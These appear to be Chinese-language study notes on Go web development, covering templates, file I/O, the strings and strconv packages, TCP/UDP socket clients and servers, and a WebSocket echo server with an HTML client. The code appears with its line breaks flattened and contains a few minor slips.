func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte package mainimport ("fmt""regexp" )func main() {src := []byte(`call hello alicehello bobcall hello eve`)pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res := []byte{}for _, s := range pat.FindAllSubmatchIndex(src, -1) {fmt.Println(string(s[0]))// Expand 要配合 FindSubmatchIndex 一起使用。FindSubmatchIndex 在 src 中進行// 查找，將結果存入 match 中。這樣就可以通過 src 和 match 得到匹配的字符串。// template 是替換內容，可以使用分組引用符 $1、$2、$name 等。Expane 將其中的分// 組引用符替換為前面匹配到的字符串。然后追加到 dst 的尾部（dst 可以為空）。// 說白了 Expand 就是一次替換過程，只不過需要 FindSubmatchIndex 的配合。res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)}fmt.Println(string(res)) }

模板處理

這里說的模板,指的是mvc結構中的view層.簡而言之,和PHP中的訪問->module->control->action->獲取view的感覺是一樣的.

如果是前后端分離的項目,這個就不用看了.

在訪問HTML情況下,用戶在訪問頁面時我們在action直接將用戶引導到靜態頁面即可.

但是如果頁面不是前后端分離的,而且頁面有很多數據從action打印,這時候就要用go中的template包來對模板內容進行處理

go模板使用

在go中,我們使用template包來對模板進行處理

和其他語言一樣,都是要先獲取數據,然后渲染到模板.

func handler(w http.ResponseWriter, r *http.Request) {t := template.New("some template") //創建一個模板t, _ = t.ParseFiles("views/welcome.html") //解析模板文件,必須要有文件存在user := GetUser() //獲取當前用戶信息t.Execute(w, user) //執行模板的merger操作 }

下面我們在接下來的例子中都用遮掩的格式代碼

使用Parse代替ParseFiles，Parse可以直接測試一個字符串，而不需要額外的文件
不使用handler來寫演示代碼，而是每個測試一個main，方便測試
使用os.Stdout代替http.ResponseWriter，因為os.Stdout實現了io.Writer接口

模板中插入數據

字段操作

在go語言的模板中,同使用{{}}來包含需要再渲染時被替換的字段

如果模板中輸出{{.}}，這個一般應用于字符串對象，默認會調用fmt包輸出字符串的內容,{{.}}表示當前的對象,

如果要訪問當前對象的字段通過{{.FieldName}}

注意：這個字段必須是可導出的公有的(字段首字母必須是大寫的),不然就會報錯

package mainimport ("html/template""os" )type Person struct {UserName stringpassword string }func main() {創建一個模板t := template.New("fieldname example")//解析模板文件,t.Parse()處理的可以不是一個文件//要導出的字段必須是大寫的,否則顯示為空t, _ = t.Parse("hello {{.UserName}} {{.password}}!")p := Person{UserName: "this hello",password:"this password"}t.Execute(os.Stdout, p)//如果passowrd 為大寫輸出 hello this hello//如果password為小寫輸出 hello this hello this password! }

輸出嵌套字段內容

如果模板里還有對象需要遍歷的話,我們可以用{{with …}}…{{end}}和{{range …}}{{end}}來處理

{{range}} 這個和Go語法里面的range類似，循環操作數據
{{with}}操作是指當前對象的值，類似上下文的概念

package mainimport ("html/template""os" )type Friend struct {Fname string }type Person struct {UserName stringEmails []stringFriends []*Friend }func main() {//想結構體中的字段填充內容f1 := Friend{Fname: "nihao"}f2 := Friend{Fname: "wohao"}//新建一個模板,這里的內容任意填t := template.New("hahah example")//拼裝一個模板結構//因為下面會用t調用Execute來把模板結構和結構體拼裝到一起//所以這里這個模板結構,就很容易明白是怎么回事了,先聲明一個機構提,再拼裝一個模板結構,用模板結構調用執行函數,將結構體和模板結構拼裝// 結構已經很顯然了,range .Emails代表遍歷這個屬性,{{.}代表在遍歷時獲取每一個字段,注意每一個range都需要一個end,{{.}}也要放到兩者之間//而,下面的with只是另一種寫法t, _ = t.Parse(`hello {{.UserName}}!{{range .Emails}}an email {{.}}{{end}}{{with .Friends}}{{range .}}my friend name is {{.Fname}}{{end}}{{end}}`)//向結構體中填充數據,將結構體補全, 最終將兩個結構體合二為一p := Person{UserName: "json",//這里這個emails是一個數組,所以展示的時候,就需要變遍歷,需要再模板中使用rangeEmails: []string{"json@163.com", "ason@gmail.com"},//同樣,這的friends也是一個數組Friends: []*Friend{&f1, &f2},}//執行模板混合, 將模板結構和結構體的數據拼裝,同時打印數據//t.Execute指的就是,t是一個模板的結構,Execute就是拼裝函數, 而p則是我們事先準備好的結構體t.Execute(os.Stdout, p) }

條件處理

這個沒什么好說的,看案例吧

package mainimport ("os""text/template" )type Where struct {Any bool }func main() {//為ture,下面顯示if 部分,為false,下面顯示else部分whe := Where{Any: true}//新建一個模板tIfElse := template.New("template test")//這里的這個條件判斷就不說了,一看就明白//must函數作用是檢測模板是否正確，例如大括號是否匹配，注釋是否正確的關閉，變量是否正確的書寫,如果有問題就會拋出一個panic同時提示哪一行錯了什么tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if .Any}} if部分 {{else}} else部分.{{end}}\n"))tIfElse.Execute(os.Stdout, whe) }

pipelines

go的pipe和Linux的，ls | grep "beego"功能一樣,用于過濾

模板變量

有時候可能需要聲明一些局部變量,比如 with range if過程中申明局部變量，這個變量的作用域是{{end}}之前

//下面的$x就是變量 {{with $x := "output" | printf "%q"}}{{$x}}{{end}} {{with $x := "output"}}{{printf "%q" $x}}{{end}} {{with $x := "output"}}{{$x | printf "%q"}}{{end}}

Must操作,檢測文本是否正確

模板包里面有一個函數Must，它的作用是檢測模板是否正確，例如大括號是否匹配，注釋是否正確的關閉，變量是否正確的書寫。用Must來判斷模板是否正確：

這也沒什么好說的,看代碼吧

package mainimport ("text/template""os" )func main() {tOk := template.New("first")//一切正常,正常輸出mustOk := template.Must(tOk.Parse(" some static text /* and a comment */"))mustOk.Execute(os.Stdout, nil)tErr := template.New("check parse error with Must")//這里就會提示一個panic: template: check parse error with Must:1: unexpected "}" in operand//只要在{{ .Name}后面再加上一個}就可以修復mustErr := template.Must(tErr.Parse(" some static text {{ .Name}"))mustErr.Execute(os.Stdout, nil) }

模板函數

go的模板是可以支持函數的,這里就不累述了.知道就行

嵌套模板

在平時開發中可能會遇到,模板嵌套的問題,比如頭部和尾部是一樣的,這時候就要進行模板嵌套了.

所以我們可以定義成header、content、footer三個部分

其實這一塊沒什么新料,主要就是利用template.ParseFiles(),同時加載多個文件而已

聲明一個子模板

{{define "子模板名稱"}}內容{{end}}

通過如下方式來調用：

嵌套案例

#文件結構 ~/go/src/web/template on  master! ? 19:38:33 $ tree . ├── content.html ├── field.go ├── footer.html ├── header.html ├── multi.go ├── must.go ├── nest.go └── where.go0 directories, 8 files

靜態頁面,放在三個文件中,分別叫做header.tmpl、content.tmpl、footer.tmpl

//header.tmpl {{define "header"}} <html> <head><title>演示信息</title> </head> <body> {{end}}//content.tmpl {{define "content"}} {{template "header"}} <h1>演示嵌套</h1> <ul><li>嵌套使用define定義子模板</li><li>調用使用template</li> </ul> {{template "footer"}} {{end}}//footer.tmpl {{define "footer"}} </body> </html> {{end}}

go代碼

package mainimport ("fmt""os""text/template" )func main() {//將三個文件同時加載進去s1, _ := template.ParseFiles("template/header.html", "template/header.html", "template/header.html")//打印header文件s1.ExecuteTemplate(os.Stdout, "header", nil)fmt.Println()//打印內容文件s1.ExecuteTemplate(os.Stdout, "content", nil)fmt.Println()//打印注腳文件s1.ExecuteTemplate(os.Stdout, "footer", nil)fmt.Println()s1.Execute(os.Stdout, nil) }

文件文件處理

目錄操作

文件操作的大多數函數都是在os包里面

os包中常用的的函數

func Mkdir(name string, perm FileMode) error 創建名稱為name的目錄，權限設置是perm，例如0777
func MkdirAll(path string, perm FileMode) error 根據path創建多級子目錄，例如astaxie/test1/test2。
func Remove(name string) error 刪除名稱為name的目錄，當目錄下有文件或者其他目錄時會出錯
func RemoveAll(path string) error 根據path刪除多級子目錄，如果path是單個名稱，那么該目錄下的子目錄全部刪除。

package mainimport ("os" )func main() {//創建單個目錄,不能創建多級目錄//err := os.Mkdir("nihao/hahahha/", 0777)//if err != nil{// panic(err)//}//可以創建多級目錄err := os.MkdirAll("nihao/tahao/", 0777)if err != nil {panic(err)}//只能刪除空目錄//err := os.Remove("nihao")//if err != nil {// fmt.Println(err)//}//可以刪除多級目錄,即使有內容也一樣可以刪除err = os.RemoveAll("nihao")if err != nil {panic(err)} }

文件操作

新建文件

func Create(name string) (file *File, err Error) 根據提供的文件名創建新的文件，返回一個文件對象，默認權限是0666的文件，返回的文件對象是可讀寫的,文件已存在,會覆蓋文件。
func NewFile(fd uintptr, name string) *File 根據文件描述符創建相應的文件，返回一個文件對象,這個要用文件描述符,很麻煩

打開文件

func Open(name string) (file *File, err Error) 該方法打開一個名稱為name的文件，但是是只讀方式，內部實現其實調用了OpenFile。
func OpenFile(name string, flag int, perm uint32) (file *File, err Error) 打開名稱為name的文件，flag是打開的方式，只讀、讀寫等，perm是權限

寫文件

func (file *File) Write(b []byte) (n int, err Error) 寫入byte類型的信息到文件
func (file *File) WriteAt(b []byte, off int64) (n int, err Error) 在指定位置開始寫入byte類型的信息
func (file *File) WriteString(s string) (ret int, err Error) 寫入string信息到文件

package mainimport ("fmt""os" )func main() {userFile := "nihao.txt"//直接創建文件,文件已存在,會覆蓋fout, err := os.Create(userFile)if err != nil {fmt.Println(userFile, err)return}//關閉資源defer fout.Close()//循環寫入內容for i := 0; i < 10; i++ {//寫入內容fout.WriteString("test\n")//注意這個和上面的不同,這是一個bytefout.Write([]byte("test\n"))} }

讀文件

func (file *File) Read(b []byte) (n int, err Error) 讀取數據到b中
func (file *File) ReadAt(b []byte, off int64) (n int, err Error) 從off開始讀取數據到b中

package mainimport ("fmt""os" )func main() {userFile := "nihao.txt"//打開文件fl, err := os.Open(userFile)if err != nil {fmt.Println(userFile, err)return}//關閉資源defer fl.Close()//開辟內存空間buf := make([]byte, 1024)//死循環for {//按照開辟的內存空間,循環讀取文件,讀到文件結束的時候會返回0n, _ := fl.Read(buf)if 0 == n {//退出循環break}os.Stdout.Write(buf[:n])} }

刪除文件

刪除文件和刪除文件夾是同一個函數

func Remove(name string) Error 調用該函數就可以刪除文件名為name的文件

字符串處理和轉換

主要是用Go標準庫中的strings和strconv兩個包中的函數

字符串操作

主要用strings包

func Contains(s, substr string) bool 字符串s中是否包含substr，返回bool值
func Join(a []string, sep string) string 字符串鏈接，把slice a通過sep鏈接起來
func Index(s, sep string) int在字符串s中查找sep所在的位置，返回位置值，找不到返回-1
func Repeat(s string, count int) string 重復s字符串count次，最后返回重復的字符串
func Replace(s, old, new string, n int) string 在s字符串中，把old字符串替換為new字符串，n表示替換的次數，小于0表示全部替換
func Split(s, sep string) []string 把s字符串按照sep分割，返回slice
func Trim(s string, cutset string) string 在s字符串的頭部和尾部去除cutset指定的字符串
func Fields(s string) []string 去除s字符串的空格符，并且按照空格分割返回slice

package mainimport ("fmt""strings" )func main() {//判斷字符串是否在另一個字符串中，返回bool值fmt.Println(strings.Contains("we are chinese", "chin")) //truefmt.Println(strings.Contains("we are chinese", "ss")) //falsefmt.Println(strings.Contains("we are chinese", "")) //true//字符串連接,將slice通過指定符號拼接成字符串s := []string{"aaa", "sss", "ddd"}fmt.Println(strings.Join(s, ",")) //aaa,sss,ddd//在字符串中查找s指定字符串所在的位置，返回位置值，找不到返回-1fmt.Println(strings.Index("we are chinese", "ch")) //7//重復生成字符串sss 3次,返回生成后的字符串fmt.Println("aaa" + strings.Repeat("sss", 3))//在字符串中，把we替換為We，2表示替換的次數如果小于0表示全部替換(類似于正則中的是否貪婪替換)fmt.Println(strings.Replace("we we are chinese", "we", "We", 1)) //We are chinesefmt.Println(strings.Replace("we we are chinese", "we", "We", 2)) //We We are chinesefmt.Println(strings.Replace("we are chinese", "ch", "Ch", -1)) //we are Chinese//把字符串按照指定符號進行分割成slice,如果指定符號為""會將所有字符全部指定為slice的一個元素,包括空格字啊內fmt.Printf("%q\n", strings.Split("a,b,c", ",")) //["a" "b" "c"]fmt.Printf("%q\n", strings.Split(" abc ", "")) //[" " "a" "b" "c" " "]fmt.Printf("%q\n", strings.Split("", "haha")) //[""]//在字符串首尾,去掉指定的字符fmt.Println(strings.Trim("-hahah nihao woshi -", "-")) //hahah nihao woshi//去掉字符串中的所有空格,并按照空格分割,返回slicefmt.Println(strings.Fields("nihao wo shi ZhonGUo ren nine ")) //[nihao wo shi ZhonGUo ren nine]}

字符串轉換

字符串轉化的函數在strconv中

Append 系列函數將整數等轉換為字符串后，添加到現有的字節數組中。
Format 系列函數把其他類型的轉換為字符串
Parse 系列函數把字符串轉換為其他類型

package mainimport ("strconv""fmt" )func checkError(e error) {if e != nil {fmt.Println(e)} }func main() {//Append 系列函數將整數等轉換為字符串后，添加到現有的字節數組中。fmt.Println("Append函數:-----------")//創建數組str := make([]byte, 0, 100)//[]byte中添加int類型（int-->[]byte）,值是4567,10進制,返回的是utf8編號,顯示的時候需要string()一下str = strconv.AppendInt(str, 4567, 10)fmt.Println(string(str))// []byte中添加bool類型（bool-->[]byte）str = strconv.AppendBool(str, false)fmt.Println(string(str))// []byte中添加string類型(包含雙引號) （string-->[]byte）str = strconv.AppendQuote(str, "ssss")fmt.Println(string(str))//AppendQuoteRune 將 Unicode 字符轉換為“單引號”引起來的字符串，//并將結果追加到 dst 的尾部，返回追加后的 []byte//“特殊字符”將被轉換為“轉義字符”str = strconv.AppendQuoteRune(str, '哈')fmt.Println(str)fmt.Println("Format函數:-----------")//將布爾值轉換為字符串 "true" 或 "false"a := strconv.FormatBool(false)//將浮點數123.23轉換為字符串值// 123.23要轉換的浮點數, g格式標記（b、e、E、f、g、G,), 12精度（數字部分的長度，不包括指數部分）,64指定浮點類型（32:float32、64:float64）b := strconv.FormatFloat(123.23, 'g', 12, 64)//將 int 型整數 1234 轉換為字符串形式//10為進制c := strconv.FormatInt(1234, 10)//將 uint 型整數 12345 轉換為字符串形式//10為進制d := strconv.FormatUint(12345, 10)//Itoa 相當于 FormatInt(i, 10), Itoa()僅限十進制e := strconv.Itoa(1024)fmt.Println(a, b, c, d, e)fmt.Println("Parse函數:-----------")//將字符串轉換為布爾值aa, err := strconv.ParseBool("false")checkError(err)//ParseFloat 將字符串轉換為浮點數// 將123.12轉換為浮點型// 64：指定浮點類型（32:float32、64:float64）bb, err := strconv.ParseFloat("123.12", 64)checkError(err)// ParseInt 將字符串轉換為 int 類型// s：要轉換的字符串// base：進位制（2 進制到 36 進制）// bitSize：指定整數類型（0:int、8:int8、16:int16、32:int32、64:int64）cc, err := strconv.ParseInt("1234", 10, 64)checkError(err)// ParseUint 功能同 ParseInt 一樣，只不過返回 uint 類型整數dd, err := strconv.ParseUint("12345", 10, 64)checkError(err)// Atoi 相當于 ParseInt(s, 10, 0)ee, err := strconv.Atoi("1024")checkError(err)fmt.Println(aa, bb, cc, dd, ee)}

Web服務

目前主流的有如下幾種Web服務：REST、SOAP。不過現在已經不再使用SOAP了,直接忽略即可.

REST請求是很直觀的，因為REST是基于HTTP協議的一個補充，他的每一次請求都是一個HTTP請求，然后根據不同的method來處理不同的邏輯，很多Web開發者都熟悉HTTP協議，所以學習REST是一件比較容易的事情。
SOAP是W3C在跨網絡信息傳遞和遠程計算機函數調用方面的一個標準。但是SOAP非常復雜，其完整的規范篇幅很長，而且內容仍然在增加。

Socket編程

socket主要有兩種,TCP socket和UDP socket. 即基于TCP協議還是UDP協議.

目前主要使用IPV4,例如:127.0.0.1 172.122.121.111

下一代是IPV6,國內正在大力推行,例如2002:c0e8:82e7:0:0:0:c0e8:82e7

Go支持的IP類型

go的net包中IP的類型定義如下:

type IP []byte

net包中有很多函數來操作IP,其中ParseIP(s string) IP 函數可以把一個IPV4或者IPV6地址轉換為IP類型,主要用來判斷是否是一個格式合法的IP地址

package mainimport ("os""fmt""net" )func main() {//獲得到參數,[0]為文件路徑,[1]為輸入的第一個參數,所以如果要帶參的話,數組最小也應該是2個元素if len(os.Args) != 2 {fmt.Println("請輸入參數")os.Exit(1)}name := os.Args[1]//將IP換轉為IP類型,一般我們主要用來判斷該IP地址是否是一個格式合法的IP地址addr := net.ParseIP(name)if addr == nil {fmt.Println("IP地址有誤")} else {fmt.Println("輸入的IP地址是:", addr.String())fmt.Printf("%T-%v", addr.String(), addr.String())}os.Exit(0) } //~/go/src/web/socket on  master! ? 2:42:36 //$ go run ip.go 127.0.0.1 //輸入的IP地址是: 127.0.0.1 //net.IP - 127.0.0.1%

TCP Socket

很顯然go可以寫socket客戶端作為請求用,也可以寫服務端做推送用.

net包中有一個類型TCPConn,這個類型可以用來作為客戶端和服務端交互的通道,TCPConn可以用在客戶端和服務端來讀寫數據.

主要用到的函數就是讀寫這兩個:

// Write從連接中寫入數據 // Write方法可能會在超過某個固定時間限制后超時返回錯誤，該錯誤的Timeout()方法返回真 `func (c *TCPConn) Write(b []byte) (int, error)` // Read從連接中讀取數據 // Read方法可能會在超過某個固定時間限制后超時返回錯誤，該錯誤的Timeout()方法返回真 `func (c *TCPConn) Read(b []byte) (int, error)`

TCPAddr類型,他標識一個TCP的地址信息,定義如下

type TCPAddr struct {IP IPPort intZone string // IPv6 scoped addressing zone }

go語言可以通過ResolveTCPAddr獲取一個TCPAddr

func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)

net參數是tcp4,tcp6,tcp中的任意一個,分別表示TCP(IPv4-only), TCP(IPv6-only)或者TCP(IPv4, IPv6的任意一個)。
addr標識域名或者IP地址

TCP client

通過net包中的DialTCP函數來簡歷一個TCP連接,并返回一個TCPConn類型的對象.

當連建立連接時,服務器端也會創建一個同類型的對象,此時客戶端和服務端各自有一個TCPConn對象進行數據交換.

func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error)

net參數是"tcp4"、"tcp6"、"tcp"中的任意一個，分別表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一個)
laddr代表本機地址,一般直接設置為nil
raddr標識遠程服務器地址

這里模擬一個基于HTTP協議的客戶端請求去連接一個Web服務端,http請求頭格式如下:

"HEAD / HTTP/1.0\r\n\r\n"

從服務器介紹到的相應信息可能如下

HTTP/1.0 302 Found Content-Length: 17931 Content-Type: text/html Date: Sun, 28 Jul 2017 18:57:44 GMT Etag: "54d97485-460b" Server: bfe/1.0.8.18

客戶端請求案例,阻塞請求.

package mainimport ("fmt""io/ioutil""net""os" )func main() {//驗證輸入的數據長度if len(os.Args) != 2 {fmt.Fprintf(os.Stderr, "錯誤的參數: %s host:port ", os.Args[0])os.Exit(1)}//得到參數service := os.Args[1]//處理鏈接,得到一個TCPAddr類型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//創建連接conn, err := net.DialTCP("tcp", nil, tcpAddr)checkError(err)//發送數據_, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))checkError(err)//讀取通道中的信息result, err := ioutil.ReadAll(conn)checkError(err)//打印數據fmt.Println(string(result))os.Exit(0) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }

TCP server

通過net包來,創建一個服務器端程序,主要用下面兩個函數

//監聽端口,返回網絡套接字 func ListenTCP(network string, laddr *TCPAddr) (*TCPListener, error) //等待并返回到偵聽到端口的下一個連接。 func Accept(l *TCPListener) Accept() (Conn, error)

這里是一個簡單的服務器程序,阻塞接收數據,不能處理多個客戶端

package mainimport ("fmt""net""os""time" )func main() {service := ":7777"//激活句柄,處理鏈接,得到一個TCPAddr類型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//監聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//死循環不斷的處理端口傳來的數據for {//接收通過端口接聽到的數據conn, err := listener.Accept()if err != nil {continue}//隨便訂的時間戳daytime := time.Now().String()//發送數據給客戶端conn.Write([]byte(daytime))conn.Close()} } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }

利用goroutine優化服務器代碼,可以同時處理多個客戶端請求

主要是通過將業務處理,分離到一個單數函數中,當服務端通過監聽接收到信息的時候,使用goroutine調用該函數進行業務處理,進而不阻塞進程.

package mainimport ("fmt""net""os""time" )func main() {service := ":1200"//處理IP地址,得到得到一個TCPAddr類型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//監聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//同樣,死循環處理端口傳來的數據for {//接收端口傳來的數據conn, err := listener.Accept()if err != nil {continue}//使用goroutine來用handleClient函數處理接收到的數據并返回數據go handleClient(conn)} }func handleClient(conn net.Conn) {defer conn.Close()//隨便生成的時間格式daytime := time.Now().String()//發送數據conn.Write([]byte(daytime)) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }

如果需要通過從客戶端發送不同的請求來獲取不同的時間格式，而且需要一個長連接,這時候就需要用到了,控制TCP連接

TCP有很多連接控制函數，我們平常用到比較多的有如下幾個函數：

//設置建立連接的超時時間，客戶端和服務器端都適用，當超過設置時間時，連接自動關閉。 func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) //用來設置寫入/讀取一個連接的超時時間。當超過設置時間時，連接自動關閉。 func (c *TCPConn) SetReadDeadline(t time.Time) error func (c *TCPConn) SetWriteDeadline(t time.Time) error //設置keepAlive屬性，是操作系統層在tcp上沒有數據和ACK的時候，會間隔性的發送keepalive包，操作系統可以通過該包來判斷一個tcp連接是否已經斷開，在windows上默認2個小時沒有收到數據和keepalive包的時候人為tcp連接已經斷開，這個功能和我們通常在應用層加的心跳包的功能類似。 func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error

服務端控制tcp連接,同時實現長連接和不同參數不同處理的案例

package mainimport ("fmt""net""os""time""strings""strconv" )func main() {service := "172.16.8.7:1200"//設置IP信息,得到tcp ip地址的TCPAddr格式的信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//監聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//死循環,不停的監聽端口for {//接收端口傳來的數據conn, err := listener.Accept()if err != nil {continue}//使用goroutine處理業務邏輯的函數go handleClient(conn)} }func handleClient(conn net.Conn) {//設置超時時間conn.SetReadDeadline(time.Now().Add(2 * time.Minute))//設置最大請求數據的長度,防止洪水攻擊request := make([]byte, 128)defer conn.Close()clientDate := "這里是客戶端發送的數據";for {//從連接中讀取內容read_len, err := conn.Read(request)if err != nil {fmt.Println(err)break}//如果返回內容時的長度是0,退出進程if read_len == 0 {fmt.Println("請求的數據為空")break//如果返回時間,清除兩端的空格截取0-最后的內容轉換為字符串后==timestamp這個字符串,那么格式化時間,返回時間} else if strings.TrimSpace(string(request[:read_len])) == "timestamp" {daytime := strconv.FormatInt(time.Now().Unix(), 10)conn.Write([]byte(daytime))} else {//否則直接發送當前時間戳daytime := time.Now().String()conn.Write([]byte(daytime))}fmt.Println("客戶端請求的數據長度為:", read_len)//清空最后一次讀取的內容,好讓新的數據寫入進去request = make([]byte, 128)} }func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }

UDP Socket

UDP Socket和TCP Socket不同的地方就是在服務器端處理多個客戶端請求數據包的方式不同,UDP缺少了對客戶端連接請求的Accept函數。其他基本幾乎一模一樣，只有TCP換成了UDP而已

UDP的幾個主要函數如下所示:

下面幾個函數基本上和TCP的功能是一模一樣的,不做過多介紹了就

//通過傳入IP地址,得到UDPAddr類型的UDP IP信息 func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) //建立一個UDP連接,返回UDPConn類型的對象 func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) //監聽端口,返回一個網絡套接字,其實就是一個UDPConn類型的數據 func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) //從UDP連接中讀取連接中的內容 func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) //向UDP連接發送數據 func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)

UDP客戶端代碼,可見唯一不同的地方就是TCP換成了UDP

package mainimport ("fmt""net""os" )func main() {if len(os.Args) != 2 {fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])os.Exit(1)}service := os.Args[1]//通過傳入IP地址,得到UDPAddr類型的UDP IP信息udpAddr, err := net.ResolveUDPAddr("udp4", service)checkError(err)//建立一個UDP連接,返回UDPConn類型的對象conn, err := net.DialUDP("udp", nil, udpAddr)checkError(err)//發送信息_, err = conn.Write([]byte("anything"))checkError(err)//創建內存空間var buf [512]byte//讀取UDP連接中的數據n, err := conn.Read(buf[0:])checkError(err)//打印數據fmt.Println(string(buf[0:n]))os.Exit(0) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())os.Exit(1)} }

UDP服務度也一樣,唯有幾個函數不同而已

package mainimport ("fmt""net""os""time" )func main() {service := ":1200"//通過傳入IP地址,得到UDPAddr類型的UDP IP信息udpAddr, err := net.ResolveUDPAddr("udp4", service)checkError(err)//監聽端口,返回一個網絡套接字,其實就是一個UDPConn類型的數據conn, err := net.ListenUDP("udp", udpAddr)checkError(err)//死循環,不見得監聽for {//調用邏輯循環函數handleClient(conn)} } func handleClient(conn *net.UDPConn) {//開辟內容空間var buf [512]byte//讀取連接中的內容_, addr, err := conn.ReadFromUDP(buf[0:])if err != nil {return}daytime := time.Now().String()//想UDP發送數據conn.WriteToUDP([]byte(daytime), addr) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())os.Exit(1)} }

WebSocket

WebSocket是HTML5的重要特性，它實現了基于瀏覽器的遠程socket

WebSocket采用了一些特殊的報頭，客戶端首次連接利用http協議和服務端進行握手.

隨后在在瀏覽器和服務器之間建立一條連接通道。且此連接會保持在活動狀態.

我們可以使用JavaScript來向連接寫入或從中接收數據，就像在使用一個常規的TCP Socket一樣。

WebSocket URL的起始輸入是ws://或是wss://(在SSL上)

WebSocket原理

websocket的協議很簡單,第一次握手通過之后即進入正式的socket連接其后的通訊數據都是以”\x00″開頭，以”\xFF”結尾。在客戶端這個是透明的,websocket會自動掐頭去尾.

瀏覽器發出WebSocket連接請求，然后服務器發出回應，然后連接建立成功，這個過程通常稱為“握手” (handshaking),請求和返回可下面的兩塊代碼

請求頭

Host: widget-mediator.zopim.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: zh-CN Accept-Encoding: gzip, deflate, br Sec-WebSocket-Version: 13 Origin: https://www.jubi.com Sec-WebSocket-Extensions: permessage-deflate Sec-WebSocket-Key: gcU/lZSgmiw+gOpD8RTa4Q== DNT: 1 Connection: keep-alive, Upgrade Cookie: __cfduid=d798f1f8c91c66a38c22354e5d2fd189a1555936892 Pragma: no-cache Cache-Control: no-cache Upgrade: websocket

響應頭

HTTP/1.1 101 Switching Protocols Date: Mon, 29 Jul 2017 04:19:19 GMT Connection: upgrade Set-Cookie: AWSALB=L+ZNZIZHUTircR4sAf96PCF/u6qLr+n9cqosKo1BbRo6IWwxEwXZnwkPeb2/WEp0uKQHGZa6SdO2Og5ZKqugLGNphEzMJvSNxzK97rqQYAWdNC3rSmn80EpV1cii; Expires=Mon, 05 Aug 2019 04:19:19 GMT; Path=/ Upgrade: websocket Sec-WebSocket-Accept: CH+PHGTvG/xMvP+YFRwksP4ak2U= Sec-WebSocket-Version: 13 WebSocket-Server: uWebSockets

從上面的兩端代碼,可以看到請求中的"Sec-WebSocket-Key"是隨機的base64編碼后的一段字符串.

服務端接收到這個請求之后,需要把這個字符串連接上一個固定的字符258EAFA5-E914-47DA-95CA-C5AB0DC85B11

拼接成這樣gcU/lZSgmiw+gOpD8RTa4Q==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

然后對該字符串使用sha1算法取出二進制的值,然后base64.如下

Sec-WebSocket-Accept = base64(sha1(Sec-WebSocket-Key + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11));

隨后將之作為響應頭Sec-WebSocket-Accept的值反饋給客戶端。

具體可以看這里,我的另一邊筆記

WebSocket基礎

Go實現WebSocket

Go語言標準包里面沒有提供對WebSocket的支持，但是在由官方維護的go.net子包中有對這個的支持.

其實也可以字節寫一個socket服務,自己做握手,很簡單.

go get golang.org/x/net/websocket

客戶端的HTML代碼, 客戶端一共綁定了四個事件。

onopen 建立連接后觸發
onmessage 收到消息后觸發
onerror 發生錯誤時觸發
onclose 關閉連接時觸發

<html> <head></head> <body> <script type="text/javascript">//實例化WebSocketvar ws = new WebSocket('ws://127.0.0.1:999');//連接觸發ws.onopen = function (evt) {//連接成功發送數據ws.send('我是前端發送的數據');};//判斷錯誤ws.onerror = function (evt) {console.log('socketError:' + evt);};//接受數據觸發ws.onmessage = function (data) {console.log(data);};//關閉連接觸發ws.onclose = function () {console.log('連接已關閉');};function send() {var msg = document.getElementById('message').value;ws.send(msg);}; </script> <h1>WebSocket Echo Test</h1> <form><p>Message: <input id="message" type="text" value="Hello, Fucker!"></p> </form> <button onclick="send();">Send Message</button> </body> </html>

服務端代碼

package mainimport ("golang.org/x/net/websocket""fmt""log""net/http" )func Echo(ws *websocket.Conn) {var err error//死循環,不間斷處理for {//定義一個變量,后面讀取websocket內容的時候要用到他的指針var reply string//讀取websocket的,replay為返回的內容if err = websocket.Message.Receive(ws, &reply); err != nil {fmt.Println("Can't receive")break}fmt.Println("客戶端發送的信息: " + reply)msg := "服務器接收到數據,這里是服務器返回的信息"if err = websocket.Message.Send(ws, msg); err != nil {fmt.Println("Can't send")break}} }func main() {//通過一個http服務來做http.Handle("/", websocket.Handler(Echo))//開啟服務if err := http.ListenAndServe(":999", nil); err != nil {log.Fatal("ListenAndServe:", err)} }

上面我在寫wesocket案例的時候發生了一個小插曲,在Mac自帶的瀏覽器中運行HTML文件后websocket跑步起來,提示

WebSocket connection to 'ws://127.0.0.1:999/' failed: Unexpected response code: 403

